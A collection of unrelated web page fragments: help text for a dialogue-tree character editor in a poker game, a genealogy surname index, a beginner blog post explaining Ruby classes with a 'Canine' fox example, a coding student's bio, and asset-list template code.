- Target: If filtering to targeted cases, this will further limit the tree to only display targeted cases that involve the selected character.
2. Case Editor
When selecting a case from the Dialogue Tree, this area will populate with details from the case.2a. Stages Grid
You will often want to repeat lines between stages. While you could manually copy lines to each stage, this would get really repetitive and become a massive pain to modify later. To make things easier, the Character Editor allows you to share a case across multiple stages. If a case is shared between stages 1, 2, and 3, it is said that the case applies to stages 1-3. You can open the case from any of these stages in the tree and any modifications will be automatically applied to the case under each stage.To apply a case to multiple stages, check the boxes for each stage you want it to apply to. You can also use Select All to quickly select all available stages, or unselect everything but the current stage.
Note that not all cases are available for all stages. For instance, Swap Cards is not available for the Finished stage, because the character is no longer playing poker.
Check the Applies to Stages area often
Take care not to accidentally apply a case to more stages than you want, or you may find yourself undoing your own work. For instance, if a Stripping case is applied to stages 3 and 4 and you make dialogue for stage 3, when you later go to stage 4 to make its dialogue, you could unknowingly overwrite your lines for stage 3.Variety is Key
While sharing dialogue is very convenient (who really wants to write 15 unique Swapping Cards lines for every stage?), try to maintain a balance between convenience and variety. The more lines you share across stages, the more repetitive your character will be, and the less replayability they will have. Keep note of the Unique Lines of Dialogue counter in the upper right. Characters these days have 700+, with some top performers even reaching multiple thousands.2b. Case Type
This allows to you change the current case's type. Typically you would only ever need to do this if you're copying a case to another one (ex. Must Strip (Male) to Must Strip (Female)).You can also give your case a custom label, color and folder here. These tools are not used by the game, but help organize your dialogue in the tree.
2c. Conditions
This is where you set the conditions that narrow down when a case should be available to play. See the Conditions section for more detailed information.Variety is Key
Adding a lot of targeted dialogue is crucial to making a replayable character. The most lively games are those where characters frequently interact with each other and to the overall flow of the game.2d. Dialogue Editor
This where the dialogue lines for the current case are edited. Each row specifies a unique line of dialogue.- Image column: Available images are available for selection here to tie with a line of text. When you choose an image, the Pose Preview will automatically update to show you it. This makes it easy to pick poses and dialogue that fit together.
My pose is missing!
Which images are available for a case depends on which stages the case applies to. If your case applies to stages 1, 2, and 3 and you want to use the "happy" pose, 1-happy.png, 2-happy.png and 3-happy.png must all exist in the character's folder. You will be unable to choose the pose otherwise. This is to help prevent creating dialogue with broken images.Animated GIFs
The Character Editor can only create PNG files, but it is capable of reading GIF files, provided they exist in the character folder at the time the editor is launched. As long as the GIFs match the rules outlined in the box above, they can be selected the same way as PNGs.Pose Maker
Poses created in the Pose Marker will display in the sidebar as well, running through any animation once.Controlling the Preview
Initially a case that is shared across stages will show previews of the earliest stage that is shared. You can view other stages by right-clicking that stage's checkbox in the stages grid. - Stage-specific images button: The dobule arrows next to the image will bring up a popup where you can pick different poses between shared stages rather than using the same pose name for all stages. This avoids the need to duplicate cases if you want the same text but only a different image.
- Text column: This is the text that will appear in the character's speech bubble when the line is chosen. Line should be fairly short, since a wall of text will both be glazed over by the player and will often not fit in the speech bubble.
- Marker column: When this line is played in game, it tracks that the line has been played using this "marker." This character or others can then write targeted dialogue based on whether that marker has been "said" yet. This allows you to play a line only once all game, for example, or to only play a line if another line was previously played earlier in the game.
- Advanced marker button: By default markers are like an on/off toggle. This button brings up more detailed options, such as storing a specific piece of information in the marker that can be retrieved later.
- Collectible button: This button allows you to link a collectible to the line.
- Advanced line options: Side effects of a line playing are found here. For instance, you can change the character's label (name), AI, or even gender if a particular line plays.
- Italics: Words can be italicized by encasing them in . For example, Wow! will produce Wow!.
- Variables: Lines can use variables, which are placeholder labels that will be replaced at runtime with a dynamic bit of text. To use a variable, in the text type ~variableName~ where variableName is the name of the variable. There is an ever expanding list of variables, but for dialogue, the most important are:
- ~player~: Replaced with the human player's name.
- ~name~: Replaced with the target's name, if there is a target.
- ~cards~: Used in the Swapping Cards case. Replaced with the number of cards the character is exchanging.
- ~clothing~: Used in stripping cases. Replaced with the lower case name of the clothing being stripped.
- ~Clothing~": Same as ~clothing~ but uses the proper name instead of lower case.
- ~marker.markerName~: Replaced with the value currently stored in a marker. Replace "markerName" with the name of the marker you want to read.
- Copy All: This will copy all of the current case's dialogue lines into the editor's clipboard, useful if you want to copy lines from one case to another.
- Paste All: This will paste previous copied lines into the current case's dialogue. You are given the option to either overwrite the existing dialogue, or add to it.
3. Pose Preview
This area displays the image associated with the selected dialogue line in a case.Markers
Each phase is by default computed in a complete bubble from everything else that has happened in the game. You can use conditions to figure out important details about the game like who's naked, or has lost several times in row, or so forth, but your character has no memory of their own.You can give your character a memory by way of markers. A marker is like a bookmark to a line of dialogue. When saying a line, the character can set an associated marker (see above), and then for future dialogue, use a condition to check that marker has been said previously. This lets you track more concrete details from a game, such as whether Florina had run away from the table earlier by checking her "fled" marker.


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This page contains an index of all the surnames in the database. Selecting a link will lead to a list of individuals in the database with this same surname.
| Letter | Surname | Number of People |
|---|---|---|
| A | ABBOTT | 4 |
| ALLEN | 3 | |
| B | BAKER | 2 |
| BELL | 8 | |
| BURGHER | 3 | |
| C | CAMERON | 1 |
| CHI | 3 | |
| CHUANG | 1 | |
| E | ELDER | 1 |
| EYRE | 1 | |
| G | GOULDING | 24 |
| H | HIPKIN | 5 |
| HUMPHREY | 1 | |
| J | JAHN | 1 |
| K | KIRBY | 1 |
| KOKOSKA | 1 | |
| L | LEADER | 1 |
| LLOYD | 3 | |
| M | MACCARTNEY | 1 |
| MEYER | 4 | |
| N | NICHOLAS | 5 |
| P | PACKER | 3 |
| PHILBIN | 1 | |
| POTTS | 8 | |
| PRICE | 1 | |
| R | ROBSON | 1 |
| RUSH | 1 | |
| S | SANDELL | 32 |
| SCOTT | 2 | |
| SHORT | 1 | |
| SMILES | 1 | |
| SMITH | 3 | |
| T | THOMPSON | 1 |
| Y | YU | 1 |
| YVONNE | 1 |


Your intinerary
you chose to go from
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When I was a kid, I grew up near a restaurant in Bloomfield Hills, Michigan called Machus Red Fox (you may have heard about it as the last place where Jimmy Hoffa was seen before his disappearance in 1975). I remember the restaurant as a classy place, so much so in fact that I took my homecoming date there my Freshman year of high school.
Foxes are known, historically to be wily, clever creatures. They are cunning and conniving...all which go to say...they are intelligent beasts. This morning I was thinking about blogging about classes and couldn't stop thinking about the fox.  Since I am immersed in thinking in code, I immediately thought of the driver code I would use to answer the question: What does the fox say?
fox.what_do_you_Say?
Before we answer that though, let me circle back to what a Class is in Ruby.
The underlying idea behind Classes is to abstract patterns into reproducible definitions. Classes are a special kind of construct that allows you define a template for creating objects. A Class comprises what an object is, and what it can do. That is, Classes define what data (state) an object holds and the methods (things that the object can do) of the objects that get created with it.
One of my favorite things about the Ruby language is that everything is an object. Even Classes are objects that are of the Class Class. It really is a very cool idea. So, when you create a new Class, you are automatically inheriting the functionality of the Class Class.
So, to answer our question, we need a way to create a fox that we can ask. Creating a 'Fox' Class seems a little specific (but that is a design decision), so I am going to create a 'Canine' Class. The Canine Class is concerned with two things (for the purposes of this example anyway); 'type' (is this a dog, a fox, a wolf etc...) and 'bark' ("Woof", "Bow Wow", "Howl" or the like ).
'type' and 'bark' are arguments that we will pass to our Canine Class. For this explainer, that is the minimum that we need to solve the problem. When we pass these arguments to our Class, we kind of hope that something happens. Since computers are kind of dumb, we have to tell them what to do. So, to kick things off, we tell the Class to initialize.
I think of the initialize method as the Inn Keeper. It is responsible for creating your object's initial state. You can pass the initialize method arguments (if you set it up that way) and it will use these arguments to set the value of variables in your object. The values may change during the lifetime of the object.
class Canine def initialize(type, bark) @type = type @bark = bark end end
At this point we could create our new object, but it would be fairly unimpressive because it wouldn't do anything. While that is true of my canine while I am at work, I think we want our canine to be able to respond when we send it a message. To do this, we add a method to our class. Since we are interested in what the fox says, let's add a method that returns the answer to the question. We will create our 'what_do_you_say?' method, which will return @bark (which is the variable holding the argument we passed when we created the object in the first place).
class Canine def initialize(type, bark) @type = type @bark = bark end def what_do_you_say? @bark end end
And, just for fun, let's add another method that let's our Canine run.
class Canine def initialize(type, bark) @type = type @bark = bark end def what_do_you_say? @bark end def run "Tiny paws, up the hill, suddenly you're standing still." end end
Now that we have our new object maker (our new Class), let's use to create a new object. To carry the metaphor further we will create a fox named 'guy_fox'. Since my Canine Class requires two arguments to initialize, we will pass in the 'type' of Canine as "fox" and the 'bark' as "Bay-buh-day bum-bum bay-dum" (which is, it turns out, what the fox actually says. For proof please see this incontrovertible video evidence !
guy_fox = Canine.new("fox", "Bay-buh-day bum-bum bay-dum")
Now that we have created our fox, we can send it messages and it can do stuff. So for example we can say;
guy_fox.runOr
guy_fox.what_do_you_say?and we can get a response. Our object actually knows what to do...because we told it!
When creating a class it is important to think in terms of what absolutely has to been there? What I mean is, what are the aspects of the thing that we are defining in the class? If a particular thing does not define what makes the thing the thing then it probably should not be included in the Class definition. It can be added to an instance of the Class if there is a reason, and Classes can be extended, but it is important to avoid muddling Classes with things that don't belong.
Classes provide a way to define a framework for creating objects that share the same types of information and behavior.


I'm a fullstack web developer student at DigitalCrafts in Atlanta, Georgia with a BS in Education from the University of Georgia. I'm a former PreK special education teacher who discovered her love for coding!
I enjoy reading mystery novels, science articles (especially the ones with illustrations of data) and writing. You will also find me stuffing my face with new foods and discovering cozy cafes. I truly believe that you learn something new everyday, so feel free to enlighten me! While you're at it, check out my blog!


@if(totalAssetList.getVehicle != null && totalAssetList.getVehicle.length >0){
}
@if(totalAssetList.getBankAccount != null && totalAssetList.getBankAccount.length >0){
}
@if(totalAssetList.getInvestments != null && totalAssetList.getInvestments.length >0){
}
@if(totalAssetList.getOthers != null && totalAssetList.getOthers.length >0){
}
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down-payment or net worth information.
| Type of Asset: |
Description |
Value |
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